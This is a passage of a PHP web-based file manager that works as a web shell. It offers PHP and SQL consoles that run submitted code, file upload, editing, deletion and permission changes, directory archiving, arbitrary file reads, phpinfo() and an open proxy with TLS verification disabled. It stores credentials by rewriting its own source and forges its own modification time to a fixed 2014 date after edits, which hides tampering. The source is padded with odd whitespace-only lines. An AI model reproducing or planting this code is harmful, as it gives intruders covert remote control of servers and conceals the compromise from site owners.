<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
                                       
</form>
                           
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
                               
</form>

</table>

';

}
                         


function find_text_in_fileSet($dir, $mask, $text) {
                                  
    $results = array();

    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {

            if ($entry != "." && $entry != "..") {

                $path = $dir . "/" . $entry;

                if (is_dir($path)) {

                    $results = array_merge($results, find_text_in_fileSet($path, $mask, $text));
                                   
                } else {

                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);

                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);

                        }
                    }

                }
                                  
            }
        }

        closedir($handle);

    }

    return $results;

}




/* End Functions */
                                  


// authorization
                                 
if ($auth_local['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){

		         if (($_POST['login']==$auth_local['login']) && ($_POST['password']==$auth_local['password'])) {

		         	setcookie($auth_local['cookie_name'], $auth_local['login'].'|'.md5($auth_local['password']), time() + (86400 * $auth_local['days_authorization']));
		         	$_COOKIE[$auth_local['cookie_name']]=$auth_local['login'].'|'.md5($auth_local['password']);

		         }

	}

	if (!isset($_COOKIE[$auth_local['cookie_name']]) OR ($_COOKIE[$auth_local['cookie_name']]!=$auth_local['login'].'|'.md5($auth_local['password']))) {
		         echo '

<!doctype html>
<html>
<head>
<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />
                                 
<title>'.__('File manager').'</title>
                                
</head>

<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language).'
                                       
</body>
</html>
                                
';  
die();
                            
	}
	if (isset($_POST['quit'])) {

		         unset($_COOKIE[$auth_local['cookie_name']]);

		         setcookie($auth_local['cookie_name'], '', time() - (86400 * $auth_local['days_authorization']));
		         header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
                                  
	}
                                
}



// Change config
if (isset($_GET['fm_settings'])) {

	if (isset($_GET['fm_config_delete'])) { 

		         unset($_COOKIE['fm_config']);
                              
		         setcookie('fm_config', '', time() - (86400 * $auth_local['days_authorization']));
                                        
		         header('Location: '.fm_url().'?fm_settings=true');

		         exit(0);
                                  
	}	elseif (isset($_POST['fm_config'])) { 

		         $fms_config = $_POST['fm_config'];

		         setcookie('fm_config', serialize($fms_config), time() + (86400 * $auth_local['days_authorization']));
		         $_COOKIE['fm_config'] = serialize($fms_config);
		         $msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 

		         if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		         $fm_login = json_encode($_POST['fm_login']);
		         $fgc_check = file_get_contents(__FILE__);
		         $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches);

		         if (!empty($matches[1])) {
		         	$filemtime = filemtime(__FILE__);
		         	$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc_check);
		         	if (file_put_contents(__FILE__, $replace)) {
                            
		         		         $msg .= __('File updated');
		         		         if ($_POST['fm_login']['login'] != $auth_local['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
		         		         if ($_POST['fm_login']['password'] != $auth_local['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
                            
		         		         $auth_local = $_POST['fm_login'];
                                        
		         	}
		         	else $msg .= __('Error occurred');
		         	if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		         }

	} elseif (isset($_POST['tpl_edited'])) { 
		         $lng_tpl = $_POST['tpl_edited'];

		         if (!empty($_POST[$lng_tpl.'_name'])) {
		         	$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		         } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

		         	$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		         }
		         if (!empty($fm_php)) {

		         	$fgc_check = file_get_contents(__FILE__);
		         	$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches);
		         	if (!empty($matches[1])) {

		         		         $filemtime = filemtime(__FILE__);

		         		         $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc_check);
		         		         if (file_put_contents(__FILE__, $replace)) {
		         		         	${$lng_tpl.'_templates'} = $fm_php;

		         		         	$msg .= __('File updated');

		         		         } else $msg .= __('Error occurred');

		         		         if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
                             
		         	}	

		         } else $msg .= __('Error occurred');
                                
	}

}

                                        
// Just show image

if (isset($_GET['img'])) {
                             
	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){
                                  
		         switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

		         	case 1: $ext='gif'; break;
                                        
		         	case 2: $ext='jpeg'; break;

		         	case 3: $ext='png'; break;
		         	case 6: $ext='bmp'; break;
		         	default: die();
                            
		         }
		         header("Content-type: image/$ext");
                             
		         echo file_get_contents($file);
                              
		         die();

	}

}
                                  


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);
	fm_download($file);	

}



// Just show info
                                 
if (isset($_GET['phpinfo'])) {

	phpinfo(); 
	die();

}


                         
// Mini proxy, many bugs!
                                        
if (isset($_GET['proxy']) && (!empty($fms_config['enable_proxy']))) {
                                   
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
                         
	<input type="hidden" name="proxy" value="true">
                                 
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {
                                 
		         $ch = curl_init($url);

		         curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		         curl_setopt($ch, CURLOPT_HEADER, 0);

		         curl_setopt($ch, CURLOPT_REFERER, $url);
                            
		         curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		         $result = curl_exec($ch);

		         curl_close($ch);

		         //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		         $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		         $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		         echo $result;
                            
		         die();

	} 

}
?>
<!doctype html>

<html>
<head>     

	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />

    <title><?=__('File manager')?></title>
<style>

body {

	background-color:	white;
                               
	font-family:		         Verdana, Arial, Helvetica, sans-serif;
	font-size:		         	8pt;
                                   
	margin:		         		         0px;
}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

                               
table.bg {

	background-color: #ACBBC6

}
                        


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:		         		         25px;

	background-color:	#006699;

	color:		         		         #FFA34F;
                         
	font-weight:		         bold;
                               
	font-size:		         	11px;

}



.row1 {
	background-color:	#EFEFEF;

}



.row2 {

	background-color:	#DEE3E7;
                                   
}

                                        
.row3 {
	background-color:	#D1D7DC;
                            
	padding: 5px;
                                  
}


                                  
tr.row1:hover {

	background-color:	#F3FCFC;

}


                                    
tr.row2:hover {

	background-color:	#F0F6F6;
}
                                


.whole {

	width: 100%;

}


                                        
.all tbody td:first-child{width:100%;}



textarea {
                           
	font: 9pt 'Courier New', courier;

	line-height: 125%;
	padding: 5px;
                                        
}

                               
.textarea_input {

	height: 1em;

}
                                


.textarea_input:focus {
                          
	height: auto;

}


input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}
                        


.folder {

    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w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Xfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+0x9Be54ec5a55A9753e998575B15B0842f8a58E79a+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
                                    
}
                                        

.file {
                            
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/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wXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}

<?=fm_home_style()?>
                                       
.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

    #fm_table td{display:inline;float:left;}

    #fm_table tbody td:first-child{width:100%;padding:0;}

    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
                                     
	#header_table table td {display:inline;float:left;}

}

</style>

</head>
                                      
<body>
<?php

$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fms_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fms_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 
if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">
                                        
<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_myfile').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
                              
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
                                     
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fms_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fms_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fms_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fms_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
                                       
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
                                        
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>
                           
</table>
<table>

<form method="post" action="">
                                        
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_local['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_local['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_local['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_local['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
                           
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_local['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_local['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>
</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {
                                 
	die($proxy_form);

} elseif (isset($res_lng)) {	
?>

<table class="whole">

<tr>
    <th><?=__('File manager').' - '.$path?></th>

</tr>
                                  
<tr>

    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
                              
	if($res_lng=='sql') echo ' - Database: '.$fms_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	else echo '</h2></td><td>'.fm_run_input('sql');
                                  
	?></td></tr></table></td>
</tr>
                                       
<tr>
                         
    <td class="row1">
                               
		         <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		         <form action="" method="POST" name="console">

		         <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		         <input type="reset" value="<?=__('Reset')?>">
                         
		         <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php

$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
                                      
	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){
		         $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
                                  
	}
	$select .= "</select>\n";

	echo $select;

}

?>
                         
		         </form>

	</td>
                                
</tr>

</table>
<?php

	if (!empty($res)) {

		         $fun='fm_'.$res_lng;
                                  
		         echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
                                   
	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		         $fn = $path . $_REQUEST['edit'];
                                        
		         $filemtime = filemtime($fn);

	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');

		         else $msg .= __('Error occurred');
		         if ($_GET['edit']==basename(__FILE__)) {

		         	touch(__FILE__,1415116371);
		         } else {

		         	if (!empty($fms_config['restore_time'])) touch($fn,$filemtime);

		         }
	}

    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
                                   
    $backlink = $url_inc . '&path=' . $path;
?>

<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>

    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
                                    
</tr>

<tr>

    <td class="row1">
        <?=$msg?>

	</td>
</tr>

<tr>

    <td class="row1">

        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>
</tr>

<tr>

    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">

            <input type="submit" name="cancel" value="<?=__('Cancel')?>">

        </form>

    </td>

</tr>
</table>
                           
<?php
                        
echo $auth_local['script'];
} elseif(!empty($_REQUEST['rights'])){
                                     
	if(!empty($_REQUEST['save'])) {
                         
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		         $msg .= (__('File updated')); 

		         else $msg .= (__('Error occurred'));

	}
	clearstatcache();
                                  
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

    $backlink = $url_inc . '&path=' . $path;

?>
                         
<table class="whole">

<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
                                  
<tr>

    <td class="row1">

        <?=$msg?>
                            
	</td>

</tr>

<tr>

    <td class="row1">
                                 
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
                        
</tr>
                                    
<tr>

    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">
                                 
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
                          
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
                                     
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>

    </td>

</tr>
                            
</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
                               
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		         $msg .= (__('File updated'));
		         $_REQUEST['rename'] = $_REQUEST['newname'];
                          
	}

	clearstatcache();

    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
                        


?>

<table class="whole">
                                
<tr>

    <th><?=__('File manager').' - '.$path?></th>

</tr>
<tr>

    <td class="row1">
        <?=$msg?>
	</td>
                           
</tr>

<tr>

    <td class="row1">

        <a href="<?=$backlink?>"><?=__('Back')?></a>
                                      
	</td>

</tr>
<tr>
    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">
                                        
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>

    </td>

</tr>
</table>

<?php
                                
} else {

//Let's rock!

    $msg = '';

    if(!empty($_FILES['upload'])&&!empty($fms_config['upload_myfile'])) {
                          
        if(!empty($_FILES['upload']['name'])){

            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
                             
		         		         $msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
		         	}

        }
                             
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
                        
        if(!fm_del_fileSet(($path . $_REQUEST['delete']), true)) {

            $msg .= __('Error occurred');
        } else {

		         	$msg .= __('Deleted').' '.$_REQUEST['delete'];

		         }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fms_config['make_directory'])) {

        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

            $msg .= __('Error occurred');
                              
        } else {

		         	$msg .= __('Created').' '.$_REQUEST['dirname'];
                         
		         }

    } elseif(!empty($_POST['search_recursive'])) {
                        
		         ini_set('max_execution_time', '0');

		         $search_data =  find_text_in_fileSet($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		         if(!empty($search_data)) {

		         	$msg .= __('Found in fileSet').' ('.count($search_data).'):<br>';

		         	foreach ($search_data as $filename) {

		         		         $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		         	}

		         } else {
		         	$msg .= __('Nothing founded');
		         }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fms_config['new_file'])) {
                        
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg .= __('Error occurred');

        } else {

		         	fclose($fp);
                                   
		         	$msg .= __('Created').' '.$_REQUEST['filename'];

		         }

    } elseif (isset($_GET['zip'])) {
                                  
		         $source = base64_decode($_GET['zip']);

		         $destination = basename($source).'.zip';
		         set_time_limit(0);
		         $phar = new PharData($destination);

		         $phar->buildFromDirectory($source);

		         if (is_file($destination))

		         $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		         '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                                       
		         .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
                                   
		         else $msg .= __('Error occurred').': '.__('no fileSet');

	} elseif (isset($_GET['gz'])) {
                               
		         $source = base64_decode($_GET['gz']);

		         $archive = $source.'.tar';

		         $destination = basename($source).'.tar';

		         if (is_file($archive)) unlink($archive);

		         if (is_file($archive.'.gz')) unlink($archive.'.gz');

		         clearstatcache();

		         set_time_limit(0);
                             
		         //die();
		         $phar = new PharData($destination);
		         $phar->buildFromDirectory($source);
                              
		         $phar->compress(Phar::GZ,'.tar.gz');
                                   
		         unset($phar);
		         if (is_file($archive)) {
		         	if (is_file($archive.'.gz')) {

		         		         unlink($archive); 
		         		         $destination .= '.gz';

		         	}





		         	$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		         	'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                                 
		         	
                    
                    .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		         } else $msg .= __('Error occurred').': '.__('no fileSet');

	} elseif (isset($_GET['decompress'])) {
                                       
		         // $source = base64_decode($_GET['decompress']);
		         // $destination = basename($source);
		         // $ext = end(explode(".", $destination));
		         // if ($ext=='zip' OR $ext=='gz') {

		         	// $phar = new PharData($source);
		         	// $phar->decompress();

		         	// $base_file = str_replace('.'.$ext,'',$destination);

		         	// $ext = end(explode(".", $base_file));

		         	// if ($ext=='tar'){
		         		         // $phar = new PharData($base_file);

